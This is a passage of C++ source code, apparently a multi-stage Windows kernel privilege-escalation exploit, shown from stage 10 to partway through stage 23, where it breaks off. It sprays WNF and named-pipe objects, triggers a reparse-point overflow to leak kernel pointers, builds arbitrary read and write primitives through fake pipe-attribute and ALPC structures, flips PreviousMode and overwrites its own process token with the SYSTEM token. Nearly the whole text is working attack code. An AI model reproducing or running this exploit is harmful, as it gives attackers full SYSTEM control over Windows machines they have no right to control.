        ULONG64 value = *(ULONG64*)(buffer.get() + 0xFF0);
        if (IsKernelPointer(value)) {
            g_leaked_kalpc = (PVOID)value;
            printf("[+] KERNEL POINTER LEAKED: 0x%p\n", g_leaked_kalpc);
            printf("[+] Stage 10 COMPLETE\n");
            return TRUE;
        }
    }

    printf("[-] No kernel pointer found\n");
    return FALSE;
}

//==============================================================================
// STAGE 11: CREATE PIPES
//==============================================================================

static BOOL Stage11_CreatePipes(void) {
```

```
    printf("\n=======================================\n");
    printf("    STAGE 11: CREATE PIPES\n");
    printf("=======================================\n");

    g_pipe_read = std::make_unique<HANDLE[]>(PIPE_SPRAY_COUNT);
    g_pipe_write = std::make_unique<HANDLE[]>(PIPE_SPRAY_COUNT);

    DWORD created = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (CreatePipe(&g_pipe_read[i], &g_pipe_write[i], NULL, 0x1000)) created++;
        else g_pipe_read[i] = g_pipe_write[i] = NULL;
    }

    printf("[+] Created %lu pipe pairs\n", created);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 11 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 12: SPRAY PIPE ATTRIBUTES (CLAIM)
//============================================================================

static BOOL Stage12_SprayPipeAttributesClaim(void) {
    printf("\n=======================================\n");
    printf("    STAGE 12: SPRAY PIPE ATTRS (CLAIM)\n");
    printf("=======================================\n");

    char array_data_pipe[0x1000] = { 0 };
    memset(array_data_pipe, 0x54, 0x20);
    memset(array_data_pipe + 0x21, 0x54, 0x40);

    DWORD attrSet = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        if (g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_SET_PIPE_ATTRIBUTE, array_data_pipe, PIPE_ATTR_CLAIM_SIZE, NULL,
0) == 0)
            attrSet++;
    }

    printf("[+] Set %lu pipe attributes\n", attrSet);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 12 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 13: SECOND WNF SPRAY
//============================================================================

static BOOL Stage13_SecondWnfSpray(void) {
    printf("\n=======================================\n");
```

```
    printf("    STAGE 13: SECOND WNF SPRAY\n");
    printf("======================================\n");

    g_wnf_pad_names_second =
std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT_SECOND);
    g_wnf_names_second = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT_SECOND);
    g_wnf_active_second = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT_SECOND);
    memset(g_wnf_active_second.get(), 0, WNF_SPRAY_COUNT_SECOND * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x52, WNF_DATA_SIZE);

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT_SECOND; i++) {
        g_NtCreateWnfStateName(&g_wnf_pad_names_second[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor);
    }
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i++) {
        g_NtCreateWnfStateName(&g_wnf_names_second[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor);
    }

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT_SECOND; i++) {
        g_NtUpdateWnfStateData(&g_wnf_pad_names_second[i], wnf_data.get(),
WNF_DATA_SIZE, NULL, NULL, 0, 0);
    }

    Sleep(SLEEP_NORMAL);

    DWORD updated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names_second[i], wnf_data.get(),
WNF_DATA_SIZE, NULL, NULL, 0, 0) == 0) {
            g_wnf_active_second[i] = TRUE;
            updated++;
        }
    }

    LocalFree(pSecurityDescriptor);
    printf("[+] Created and updated %lu second wave WNF\n", updated);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 13 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 14: CREATE HOLES (SECOND)
//============================================================================

static BOOL Stage14_CreateHolesSecond(void) {
    printf("\n======================================\n");
    printf("    STAGE 14: CREATE HOLES (SECOND)\n");
```

```
    printf("=======================================\n");

    DWORD deleted = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i += 2) {
        if (g_wnf_active_second[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names_second[i]) == 0) {
                g_wnf_active_second[i] = FALSE;
                deleted++;
            }
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 14 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 15: PLACE SECOND OVERFLOW
//============================================================================

static BOOL Stage15_PlaceSecondOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 15: PLACE SECOND OVERFLOW\n");
    printf("=======================================\n");

    SetFileAttributesW(g_filePath_second, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath_second);

    HANDLE hFile = CreateFileW(g_filePath_second, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create second file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);

    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_SECOND;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }
```

```
    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_SECOND);
    printf("[+] Stage 15 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 16: TRIGGER SECOND OVERFLOW
//============================================================================

static BOOL Stage16_TriggerSecondOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 16: TRIGGER SECOND OVERFLOW\n");
    printf("=======================================\n");

    HANDLE hFile = CreateFileW(g_filePath_second, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open second file: %lu\n", GetLastError());
        return FALSE;
    }

    CloseHandle(hFile);
    printf("[+] Second overflow triggered\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_SHORT);
    printf("[+] Stage 16 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 17: FILL WITH PIPE ATTRIBUTES
//============================================================================

static BOOL Stage17_FillWithPipeAttributes(void) {
    printf("\n=======================================\n");
    printf("    STAGE 17: FILL WITH PIPE ATTRS\n");
    printf("=======================================\n");

    char array_data_pipe[0x1000] = { 0 };
    memset(array_data_pipe, 0x55, 0x20);
    memset(array_data_pipe + 0x21, 0x55, 0x40);

    DWORD attrSet = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        if (g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_SET_PIPE_ATTRIBUTE, array_data_pipe, PIPE_ATTR_FILL_SIZE, NULL,
0) == 0)
            attrSet++;
    }

    printf("[+] Set %lu large pipe attributes\n", attrSet);
```

```
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_LONG + 3000);
    printf("[+] Stage 17 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 18: FIND SECOND VICTIM AND LEAK PIPE
//============================================================================

static BOOL Stage18_FindSecondVictimAndLeakPipe(void) {
    printf("\n=======================================\n");
    printf("    STAGE 18: FIND VICTIM & LEAK PIPE\n");
    printf("=======================================\n");

    g_victim_index_second = -1;
    g_leaked_pipe_attr = NULL;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT_SECOND; i += 2) {
        if (!g_wnf_active_second[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names_second[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_SECOND) {
            g_victim_index_second = i;
            printf("[+] Found second victim WNF at index %d\n", i);

            if (bufferSize >= 0xFF8) {
                auto buffer = std::make_unique<BYTE[]>(bufferSize + 0x10);
                ULONG readSize = bufferSize;
                g_NtQueryWnfStateData(&g_wnf_names_second[i], NULL, NULL, &changeStamp,
buffer.get(), &readSize);

                if (readSize >= 0xFF8) {
                    ULONG64 oob_value = *(ULONG64*)(buffer.get() + 0xFF0);
                    if (IsKernelPointer(oob_value)) {
                        g_leaked_pipe_attr = (PVOID)oob_value;
                        printf("[+] PIPE_ATTRIBUTE LEAKED: 0x%p\n",
g_leaked_pipe_attr);
                    }
                }
            }
            break;
        }
    }

    if (g_victim_index_second == -1) {
        printf("[-] No corrupted WNF found (second wave)\n");
        return FALSE;
    }
```

```
    printf("[+] Stage 18 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 19: SETUP ARBITRARY READ
//============================================================================

static BOOL Stage19_SetupArbitraryRead(void) {
    printf("\n========================================\n");
    printf("    STAGE 19: SETUP ARBITRARY READ\n");
    printf("========================================\n");

    if (g_victim_index_second == -1 || g_leaked_kalpc == NULL) {
        printf("[-] Missing prerequisites\n");
        return FALSE;
    }

    memset(g_fake_pipe_attr, 0, sizeof(g_fake_pipe_attr));
    memset(g_fake_pipe_attr2, 0, sizeof(g_fake_pipe_attr2));

    ULONG64* fake1 = (ULONG64*)g_fake_pipe_attr;
    fake1[0] = (ULONG64)g_fake_pipe_attr2;
    fake1[1] = (ULONG64)g_leaked_pipe_attr;
    fake1[2] = (ULONG64)g_fake_attr_name;
    fake1[3] = 0x28;
    fake1[4] = (ULONG64)g_leaked_kalpc;
    fake1[5] = 0x6969696969696969ULL;

    ULONG64* fake2 = (ULONG64*)g_fake_pipe_attr2;
    fake2[0] = 0x7070707070707070ULL;
    fake2[1] = (ULONG64)g_fake_pipe_attr;
    fake2[2] = (ULONG64)g_fake_attr_name2;
    fake2[3] = 0x28;
    fake2[4] = (ULONG64)g_leaked_kalpc;
    fake2[5] = 0x7171717171717171ULL;

    printf("[+] Fake pipe_attr at: 0x%p\n", g_fake_pipe_attr);

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0x56, 0xFF8);
    *(ULONG64*)(overflow_data.get() + 0xFF8 - 8) = (ULONG64)g_fake_pipe_attr;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names_second[g_victim_index_second],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_SECOND, 0
    );

    if (status != 0) {
        printf("[-] WNF update failed: 0x%08X\n", status);
        return FALSE;
    }

    printf("[+] pipe_attribute->Flink corrupted\n");
    printf("[+] Stage 19 COMPLETE\n");
    return TRUE;
```

```
}

//============================================================================
// STAGE 20: READ KERNEL MEMORY
//============================================================================

static BOOL Stage20_ReadKernelMemory(void) {
    printf("\n=======================================\n");
    printf("    STAGE 20: READ KERNEL MEMORY\n");
    printf("=======================================\n");

    g_target_pipe_index = -1;
    BYTE buffer[0x1000] = { 0 };
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        NTSTATUS status = g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_GET_PIPE_ATTRIBUTE, g_fake_attr_name,
(ULONG)strlen(g_fake_attr_name) + 1,
            buffer, sizeof(buffer));
        if (status == 0) {
            ULONG64* data = (ULONG64*)buffer;
            if (!IsKernelPointer(data[0]) || !IsKernelPointer(data[1]) ||
!IsKernelPointer(data[3])) {
                printf("[-] Pipe %lu: invalid KALPC_RESERVE pointers, skipping\n", i);
                continue;
            }
            g_target_pipe_index = i;
            printf("[+] Found target pipe at index %lu\n", i);
            printf("[*] KALPC_RESERVE:\n");
            for (int j = 0; j < 4; j++) {
                printf("    +0x%02X: 0x%016llX\n", j * 8, (unsigned long long)data[j]);
            }
            g_alpc_port_addr = data[0];
            g_alpc_handle_table_addr = data[1];
            g_alpc_message_addr = data[3];
            break;
        }
    }
    if (g_target_pipe_index == -1) {
        printf("[-] Failed to read kernel memory via any pipe\n");
        return FALSE;
    }
    printf("[+] Arbitrary READ primitive established!\n");
    printf("[+] Stage 20 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 21: DISCOVER EPROCESS AND TOKEN
//============================================================================

static BOOL Stage21_DiscoverEprocessAndToken(void) {
    printf("\n=======================================\n");
    printf("    STAGE 21: DISCOVER EPROCESS/TOKEN\n");
    printf("=======================================\n");
```

```
    printf("[+] ALPC_PORT: 0x%016llX\n", (unsigned long long)g_alpc_port_addr);

    BYTE alpc_port_data[0x200];
    if (!ReadKernelBuffer(g_alpc_port_addr, alpc_port_data, sizeof(alpc_port_data))) {
        printf("[-] Failed to read ALPC_PORT\n");
        return FALSE;
    }

    g_eprocess_addr = *(ULONG64*)(alpc_port_data + 0x18);

    if (!IsKernelPointer(g_eprocess_addr)) {
        for (int offset = 0x10; offset <= 0x38; offset += 8) {
            ULONG64 candidate = *(ULONG64*)(alpc_port_data + offset);
            if (!IsKernelPointer(candidate)) continue;

            char test_name[16] = { 0 };
            if (ReadKernelBuffer(candidate + EPROCESS_IMAGEFILENAME_OFFSET, test_name,
15)) {
                BOOL valid = TRUE;
                for (int j = 0; j < 15 && test_name[j]; j++) {
                    if (test_name[j] < 32 || test_name[j] >= 127) { valid = FALSE;
break; }
                }
                if (valid && test_name[0]) {
                    g_eprocess_addr = candidate;
                    printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long
long)candidate, test_name);
                    break;
                }
            }
        }
    }
    else {
        char name[16] = { 0 };
        ReadKernelBuffer(g_eprocess_addr + EPROCESS_IMAGEFILENAME_OFFSET, name, 15);
        printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long long)g_eprocess_addr,
name);
    }

    if (!IsKernelPointer(g_eprocess_addr)) {
        printf("[-] Could not find EPROCESS\n");
        return FALSE;
    }

    DWORD our_pid = GetCurrentProcessId();
    printf("[*] Our PID: %lu\n", our_pid);

    ULONG64 current = g_eprocess_addr;
    ULONG64 start = g_eprocess_addr;
    int count = 0;

    do {
        BYTE chunk[0x180];
        if (!ReadKernelBuffer(current + 0x440, chunk, sizeof(chunk))) break;
```

```
        ULONG pid = *(ULONG*)(chunk + 0);
        ULONG64 flink = *(ULONG64*)(chunk + 8);
        ULONG64 token_raw = *(ULONG64*)(chunk + 0x78);
        char name[16] = { 0 };
        memcpy(name, chunk + 0x168, 15);

        ULONG64 token = token_raw & ~0xFULL;

        if (pid == 4) {
            g_system_eprocess = current;
            g_system_token = token;
            g_system_token_raw = token_raw;
            printf("[+] SYSTEM EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] SYSTEM Token: 0x%016llX (raw: 0x%016llX)\n",
                (unsigned long long)token, (unsigned long long)token_raw);
        }
        if (pid == our_pid) {
            g_our_eprocess = current;
            g_our_token = token;
            printf("[+] Our EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] Our Token: 0x%016llX\n", (unsigned long long)token);
        }
        if (_stricmp(name, "winlogon.exe") == 0) {
            g_winlogon_pid = pid;
            printf("[+] Winlogon PID: %lu\n", pid);
        }

        if (g_system_eprocess && g_our_eprocess && g_winlogon_pid) break;
        if (!IsKernelPointer(flink)) break;

        current = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
        if (current == start) break;
        count++;
    } while (count < 500);

    if (!g_system_eprocess || !g_our_eprocess) {
        printf("[-] Failed to find required processes\n");
        return FALSE;
    }

    if (!IsKernelPointer(g_system_token) || !IsKernelPointer(g_our_token)) {
        printf("[-] Token values don't look valid\n");
        printf("    System token raw: 0x%016llX\n", (unsigned long
long)g_system_token);
        printf("    Our token raw: 0x%016llX\n", (unsigned long long)g_our_token);
        return FALSE;
    }

    if (g_winlogon_pid == 0) {
        printf("[-] Warning: winlogon.exe not found during walk\n");
    }

    printf("[+] Stage 21 COMPLETE\n");
    return TRUE;
}
```

```
//============================================================================
// STAGE 22: ALPC PREVIOUSMODE FLIP
//============================================================================

static BOOL Stage22_FlipPreviousMode(void) {
    printf("\n=======================================\n");
    printf("    STAGE 22: ALPC PREVIOUSMODE FLIP\n");
    printf("=======================================\n");

    if (g_victim_index == -1 || g_our_kthread == 0 ||
        g_alpc_handle_table_addr == 0) {
        printf("[-] Missing prerequisites for ALPC write\n");
        return FALSE;
    }

    ULONG64 target_addr = g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET;
    printf("[*] PreviousMode flip: overwrite KTHREAD+0x232 with 0x00\n");
    printf("[*] Target: 0x%016llX (our KTHREAD+0x232)\n", (unsigned long
long)target_addr);

    printf("[*] Setting up fake KALPC structures...\n");

    g_fake_kalpc_reserve_object = (BYTE*)VirtualAlloc(NULL, sizeof(KALPC_RESERVE) +
0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    g_fake_kalpc_message_object = (BYTE*)VirtualAlloc(NULL, sizeof(KALPC_MESSAGE) +
0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!g_fake_kalpc_reserve_object || !g_fake_kalpc_message_object) {
        printf("[-] Memory allocation failed\n");
        return FALSE;
    }

    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x00) = 0x0000000000000700;
    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x08) = 0x0000000000000001;
    *(ULONG64*)(g_fake_kalpc_message_object + 0x08) = 0x0000000000000001;

    KALPC_RESERVE* fake_kalpc_reserve = (KALPC_RESERVE*)(g_fake_kalpc_reserve_object +
0x20);
    KALPC_MESSAGE* fake_kalpc_message = (KALPC_MESSAGE*)(g_fake_kalpc_message_object +
0x20);

    fake_kalpc_reserve->Size = 0x28;
    fake_kalpc_reserve->Message = fake_kalpc_message;

    fake_kalpc_message->Reserve = fake_kalpc_reserve;
    fake_kalpc_message->ExtensionBuffer = (PVOID)target_addr;
    fake_kalpc_message->ExtensionBufferSize = 0x10;

    printf("\n[*] === VERIFICATION: Reading KTHREAD+0x232 BEFORE ===\n");
    BYTE pre_read[16] = { 0 };
    if (ReadKernelBuffer(target_addr, pre_read, 16)) {
        printf("[*] PreviousMode BEFORE: 0x%02X (%s)\n",
            pre_read[0], pre_read[0] == 1 ? "UserMode" : "UNEXPECTED");
    }

    printf("\n[*] Corrupting via first WNF overflow...\n");
```

```
    printf("[*] Victim WNF index: %d\n", g_victim_index);

    ULONG verifySize = 0;
    WNF_CHANGE_STAMP verifyStamp = 0;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &verifyStamp, NULL,
&verifySize);

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0, 0xFF8);
    memset(overflow_data.get(), 0x48, 0x200);

    *(ULONG64*)(overflow_data.get() + 0xFF0) = (ULONG64)fake_kalpc_reserve;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names[g_victim_index],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_FIRST, 0
    );

    if (status != 0) {
        printf("[-] WNF update failed: 0x%08X\n", status);
        return FALSE;
    }

    printf("[+] First WNF overflow complete - Handles array entry corrupted\n");

    printf("[*] Sending ALPC messages with PreviousMode=0 payload...\n");

    ALPC_MESSAGE alpc_message;
    memset(&alpc_message, 0, sizeof(alpc_message));

    alpc_message.PortHeader.u1.s1.DataLength = 0x10;
    alpc_message.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + 0x10;
    alpc_message.PortHeader.MessageId = (ULONG)(ULONG_PTR)g_saved_reserve_handle;

    BYTE* pPayload = (BYTE*)&alpc_message + sizeof(PORT_MESSAGE);
    memcpy(pPayload, pre_read, 16);
    pPayload[0] = 0x00;

    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;
        g_NtAlpcSendWaitReceivePort(g_alpc_ports[i], 0, (PPORT_MESSAGE)&alpc_message,
NULL, NULL, NULL, NULL, NULL);
    }

    printf("[+] ALPC messages sent\n");
    Sleep(100);

    BYTE post_read[16] = { 0 };
    ReadKernelBuffer(target_addr, post_read, 16);
    printf("[*] PreviousMode AFTER: 0x%02X\n", post_read[0]);

    if (post_read[0] != 0x00) {
        printf("[-] PreviousMode not flipped (still 0x%02X) -- ALPC write failed\n",
post_read[0]);
        return FALSE;
    }
```

```
    printf("[+] PreviousMode FLIPPED to 0x00 (KernelMode)!\n");

    printf("[+] Stage 22 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 23: TOKEN STEAL + FLINK RESTORE + SYSTEM SHELL
//============================================================================

static BOOL Stage23_TokenStealAndShell(void) {
    printf("\n=======================================\n");
    printf("    STAGE 23: TOKEN STEAL + SHELL\n");
    printf("=======================================\n");

    printf("[*] Executing PreviousMode=0 syscall sequence...\n");

    ULONG64 corrupted_pipe_flink_addr = 0;
    if (g_leaked_pipe_attr) {
        BYTE pipe_le[16] = { 0 };
        if (ReadKernelBuffer((ULONG64)g_leaked_pipe_attr, pipe_le, 16)) {
            ULONG64 blink = *(ULONG64*)(pipe_le + 8);
            if (IsKernelPointer(blink)) {
                corrupted_pipe_flink_addr = blink;
                printf("[*] Corrupted pipe attr at: 0x%016llX (will restore Flink)\n",
                    (unsigned long long)blink);
            }
        }
    }

    ULONG64 corrupted_handles_entry_addr = 0;
    if (g_alpc_handle_table_addr) {
        BYTE ht_scan[0x80] = { 0 };
        if (ReadKernelBuffer(g_alpc_handle_table_addr, ht_scan, sizeof(ht_scan))) {
            for (int off = 0; off < 0x80; off += 8) {
                ULONG64 val = *(ULONG64*)(ht_scan + off);
                if (val != 0 && !IsKernelPointer(val)) {
                    corrupted_handles_entry_addr = g_alpc_handle_table_addr + off;
                    printf("[*] Corrupted Handles entry at 0x%016llX (+0x%02X):
0x%016llX\n",
                        (unsigned long long)corrupted_handles_entry_addr, off,
(unsigned long long)val);
                    break;
                }
            }
        }
    }

    ULONG64 victim1_wnf_addr = 0;
    ULONG64 victim2_wnf_addr = 0;

    if (g_alpc_handle_table_addr) {
        ULONG64 candidate = g_alpc_handle_table_addr - 0x1000;
        BYTE wnf_hdr[16] = { 0 };
        if (ReadKernelBuffer(candidate, wnf_hdr, 16)) {
```

```
            USHORT type_code = *(USHORT*)(wnf_hdr + 0);
            ULONG alloc_size = *(ULONG*)(wnf_hdr + 4);
            if (type_code == 0x0904 && alloc_size == 0x0FF8) {
                victim1_wnf_addr = candidate;
                printf("[*] Victim1 WNF_STATE_DATA at 0x%016llX (TypeCode=0x%04X,
AllocSize=0x%X)\n",
                    (unsigned long long)candidate, type_code, alloc_size);
            }
            else {
                printf("[!] Victim1 candidate at 0x%016llX: TypeCode=0x%04X
AllocSize=0x%X (unexpected)\n",
                    (unsigned long long)candidate, type_code, alloc_size);
            }
        }
    }

    if (corrupted_pipe_flink_addr && IsKernelPointer(corrupted_pipe_flink_addr)) {
        ULONG64 candidate = corrupted_pipe_flink_addr - 0x1000;
        BYTE wnf_hdr[16] = { 0 };
        if (ReadKernelBuffer(candidate, wnf_hdr, 16)) {
            USHORT type_code = *(USHORT*)(wnf_hdr + 0);
            ULONG alloc_size = *(ULONG*)(wnf_hdr + 4);
            if (type_code == 0x0904 && alloc_size == 0x0FF8) {
                victim2_wnf_addr = candidate;
                printf("[*] Victim2 WNF_STATE_DATA at 0x%016llX (TypeCode=0x%04X,
AllocSize=0x%X)\n",
                    (unsigned long long)candidate, type_code, alloc_size);
            }
            else {
                printf("[!] Victim2 candidate at 0x%016llX: TypeCode=0x%04X
AllocSize=0x%X (unexpected)\n",
                    (unsigned long long)candidate, type_code, alloc_size);
            }
        }
    }

    // ================================================================
    //  PHASE 1: PreviousMode=0 WINDOW
    // ================================================================

    BOOL phase1_ok = TRUE;
    NTSTATUS nt_status = 0;

    OBJECT_ATTRIBUTES oa = {};
    oa.Length = sizeof(OBJECT_ATTRIBUTES);
    CLIENT_ID sys_cid = {};
    sys_cid.UniqueProcess = (HANDLE)(ULONG_PTR)4;

    HANDLE hSysProc = NULL;
    nt_status = g_NtOpenProcess(&hSysProc, PROCESS_ALL_ACCESS, &oa, &sys_cid);
    if (nt_status != 0) phase1_ok = FALSE;

    HANDLE hSysToken = NULL;
    if (phase1_ok) {
        nt_status = g_NtOpenProcessTokenEx(hSysProc, TOKEN_ALL_ACCESS, 0, &hSysToken);
        if (nt_status != 0) phase1_ok = FALSE;
```

```
    }

    HANDLE hImpToken = NULL;
    if (phase1_ok) {
        SECURITY_QUALITY_OF_SERVICE sqos = {};
        sqos.Length = sizeof(sqos);
        sqos.ImpersonationLevel = SecurityImpersonation;

        OBJECT_ATTRIBUTES token_oa = {};
        token_oa.Length = sizeof(OBJECT_ATTRIBUTES);
        token_oa.SecurityQualityOfService = &sqos;

        nt_status = g_NtDuplicateToken(hSysToken, TOKEN_ALL_ACCESS,
            &token_oa, FALSE, TokenImpersonation, &hImpToken);
        if (nt_status != 0) phase1_ok = FALSE;
    }

    if (phase1_ok) {
        nt_status = g_NtSetInformationThread(
            (HANDLE)(LONG_PTR)-2,   // NtCurrentThread() (check documentation)
            5,                      // ThreadImpersonationToken (check documentation)
            &hImpToken, sizeof(HANDLE));
        if (nt_status != 0) phase1_ok = FALSE;
    }

    NTSTATUS token_write_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok) {
        ULONG64 system_token = g_system_token_raw;
        token_write_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)(g_our_eprocess + EPROCESS_TOKEN_OFFSET),
            &system_token, sizeof(ULONG64), NULL);
    }

    NTSTATUS pipe_restore_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok && corrupted_pipe_flink_addr != 0
        && IsKernelPointer(corrupted_pipe_flink_addr)) {
        ULONG64 original_flink = (ULONG64)g_leaked_pipe_attr;
        pipe_restore_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)corrupted_pipe_flink_addr,
            &original_flink, sizeof(ULONG64), NULL);
    }

    NTSTATUS handles_restore_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok && corrupted_handles_entry_addr != 0) {
        ULONG64 original_reserve = (ULONG64)g_leaked_kalpc;
        handles_restore_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)corrupted_handles_entry_addr,
            &original_reserve, sizeof(ULONG64), NULL);
    }

    NTSTATUS victim1_repair_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok && victim1_wnf_addr != 0) {
        BYTE repair[8];
```

```
        *(ULONG*)(repair + 0) = 0x0FF0;
        *(ULONG*)(repair + 4) = 0x0FF0;
        victim1_repair_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)(victim1_wnf_addr + 4),
            repair, 8, NULL);
    }

    NTSTATUS victim2_repair_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok && victim2_wnf_addr != 0) {
        BYTE repair[8];
        *(ULONG*)(repair + 0) = 0x0FF0;
        *(ULONG*)(repair + 4) = 0x0FF0;
        victim2_repair_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)(victim2_wnf_addr + 4),
            repair, 8, NULL);
    }

    // ================================================================
    //  PHASE 2: Restore PreviousMode to 1 (UserMode)
    // ================================================================

    BYTE restore_val = 0x01;
    NTSTATUS write_status = g_NtWriteVirtualMemory(
        (HANDLE)(LONG_PTR)-1,
        (PVOID)(g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET),
        &restore_val, 1, NULL);

    // ================================================================
    //  PHASE 3: Post-restore (Win32 APIs safe only)
    // ================================================================

    printf("[+] PreviousMode restore: 0x%08X\n", write_status);

    if (!phase1_ok) {
        printf("[-] Phase 1 failed: 0x%08X\n", nt_status);
        if (hSysProc) g_NtClose(hSysProc);
        if (hSysToken) g_NtClose(hSysToken);
        if (hImpToken) g_NtClose(hImpToken);
        return FALSE;
    }

    printf("[+] Token write:   0x%08X\n", token_write_status);
